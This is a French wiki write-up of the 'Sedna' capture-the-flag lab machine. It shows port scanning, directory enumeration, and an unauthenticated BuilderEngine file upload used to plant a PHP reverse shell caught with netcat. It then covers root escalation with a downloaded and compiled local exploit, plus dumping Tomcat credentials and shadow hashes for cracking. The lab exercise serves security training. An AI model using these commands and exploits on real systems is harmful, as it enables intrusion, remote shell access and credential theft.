Outils pour utilisateurs

Outils du site


vm:sedna

Sedna - Write Up

Reconnaissance

nmap -sS -A 192.168.43.43
 
ports ouverts :
22 ssh
53 dns : ISC BIND 9.9.5-3-Ubuntu
80 http : apache 2.4.7
110 pop3
111 rpcbind 
139 netbios smbd 3.x workgroup SEDNA
143 imap Dovecot impad
445 netbios smbd 3.x workgroup SEDNA
993 imap Dovecot impad
995 pop3 ssl
8080 : Apache Tomcat/Coyote JSP engine 1.1

Après quelques essais on remarque :

  1. Tomcat n'utilise pas d'identifiants simple à deviner
  2. Il n'y a pas d'exploit pour rpcbind et bind 9

Exploitation Web

Pour le port 80 :

Avec l'outil dirb on va chercher les fichiers existants :

./dirb http://192.168.43.43/ wordlists/common.txt                 
 
---- Scanning URL: http://192.168.43.43/ ----
==> DIRECTORY: http://192.168.43.43/blocks/                                    
==> DIRECTORY: http://192.168.43.43/files/                                     
+ http://192.168.43.43/index.html (CODE:200|SIZE:101)                          
==> DIRECTORY: http://192.168.43.43/modules/                                   
+ http://192.168.43.43/robots.txt (CODE:200|SIZE:36)                           
+ http://192.168.43.43/server-status (CODE:403|SIZE:293)                       
==> DIRECTORY: http://192.168.43.43/system/                                    
==> DIRECTORY: http://192.168.43.43/themes/                                    
 
---- Entering directory: http://192.168.43.43/blocks/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
 
---- Entering directory: http://192.168.43.43/files/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
 
---- Entering directory: http://192.168.43.43/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
 
---- Entering directory: http://192.168.43.43/system/ ----
==> DIRECTORY: http://192.168.43.43/system/core/                               
==> DIRECTORY: http://192.168.43.43/system/database/                           
==> DIRECTORY: http://192.168.43.43/system/fonts/                              
==> DIRECTORY: http://192.168.43.43/system/helpers/                            
+ http://192.168.43.43/system/index.html (CODE:200|SIZE:142)                   
==> DIRECTORY: http://192.168.43.43/system/language/                           
==> DIRECTORY: http://192.168.43.43/system/libraries/                          
 
---- Entering directory: http://192.168.43.43/themes/ ----

Dirb nous ressort tout un tas de dossier à aller visiter.

Dans le dossier “themes” on trouve un dashboard.

En regardant le code source du dashboard on voit :

dashboard_index.html
<!DOCTYPE html>
...
	<title>BuilderEngine Admin Dashboard | Login Page</title>
	<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" name="viewport" />
...

BuilderEngine est le nom d'un CMS

On cherche si un exploit existe avec searchsploit

./searchsploit builderengine
-------------------------------------------- -----------------------------------
 Exploit Title                              |  Path
                                            | (/opt/exploit-database/platforms)
-------------------------------------------- -----------------------------------
BuilderEngine 3.5.0 - Arbitrary File Upload | /php/webapps/40390.php
-------------------------------------------- -----------------------------------

La faille est la suivante :

1) Unauthenticated Unrestricted File Upload:
 
	POST /themes/dashboard/assets/plugins/jquery-file-upload/server/php/
 
	Vulnerable Parameter: files[]
 
	We can upload test.php and reach the file via the following link:
	/files/test.php

L'url vulnérable est la suivante :

http://192.168.43.43/themes/dashboard/assets/plugins/jquery-file-upload/server/php/

J'ouvre un netcat en écoute sur mon poste sur le port 1234 :

nc -lvp 1234

J'upload un reverse shell php pentestmonkey

curl -i -X POST -H "Content-Type: multipart/form-data" -F "files=@php-reverse-shell.php" http://192.168.43.43/themes/dashboard/assets/plugins/jquery-file-upload/server/php/

Mon fichier une fois uploadé est situé :

http://192.168.43.168/files/php-reverse-shell.php

Dès l'ouverture de la session on ouvre un pty :

python -c 'import pty;pty.spawn("/bin/bash")'

Exploitation du système & Élévation de privilèges

On va chercher la version du kernel :

uname -a 
 
Linux Sedna 3.13.0-32-generic Ubuntu

On va chercher la version de la distribution :

www-data@Sedna:/$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.1 LTS
Release:	14.04
Codename:	trusty

On oublie pas de récupérer le premier flag :

www-data@Sedna:/var/www$ cat flag.txt
cat flag.txt
bfbb7e6e6e88d9ae66848b9aeac6b289

Maintenant il faut élever ces privilèges :

L'exploit que nous allons utiliser :

https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/37088.c

Il est basé sur la CVE-2015-1325 et à été testé sur la version 14.04 d'Ubuntu.

On récupère l'exploit sur la machine (j'ai choisi le dossier /var/www/html car il est accessible en écriture).

wget https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/37088.c

On le compile :

gcc 37088.c -o exploit2

On l'utilise :

www-data@Sedna:/var/www/html$ ./exploit2
./exploit2
created /var/crash/_bin_sleep.33.crash
crasher: my pid is 3848
apport stopped, pid = 3849
getting pid 3848
current pid = 3847..5000..7500..10000..12500..15000..17500..20000..22500..25000..27500..30000..32500..2500..
** child: current pid = 3848
** child: executing /bin/su
sleeping 2s..
 
checker: mode 4534
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..
 
checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
# id
id
uid=0(root) gid=0(root) groups=0(root)

Nous sommes dès à présent root du système.

On affiche le deuxième flag :

cat /root/flag.txt
a10828bee17db751de4b936614558305

Pour aller plus loin

On va chercher les identifiants du tomcat :

cat /etc/tomcat7/tomcat-users.xml
 
<role rolename="manager-gui"/>
<user username="tomcat" password="submitthisforpoints" roles="manager-gui"/>
</tomcat-users>

On récupère les /etc/shadow et /etc/passwd

root:$6$sZyJlUny$OcHP9bd8dO9rAKAlryxUjnUbH0dxgZc2uCePZMUUKSeIdALUulXLQ1iDjoEQpvZI.HTHOHUkCR.m39Xrt3mm91:17097:0:99999:7:::
crackmeforpoints:$6$p22wX4fD$RRAamkeGIA56pj4MpM7CbrKPhShVkZnNH2NjZ8JMUP6Y/1upG.54kSph/HSP1LFcn4.2C11cF0R7QmojBqNy5/:17104:0:99999:7:::
root:x:0:0:root:/root:/bin/bash
crackmeforpoints:x:1000:1000::/home/crackmeforpoints:

Utilisation de l'outil unshadow de la suite John The Ripper :

./unshadow passwd shadow > hash_a_crack

Tentative de casser les hash avec john :

./john hash_a_crack

Les mots de passes n'ont pas été trouvés dans un délais 20 minutes de crack.

L'exploitation de la machine c'est finit à ce niveau là.

Merci à l'auteur de la machine.

vm/sedna.txt · Dernière modification: 2017/03/22 12:42 par arkinar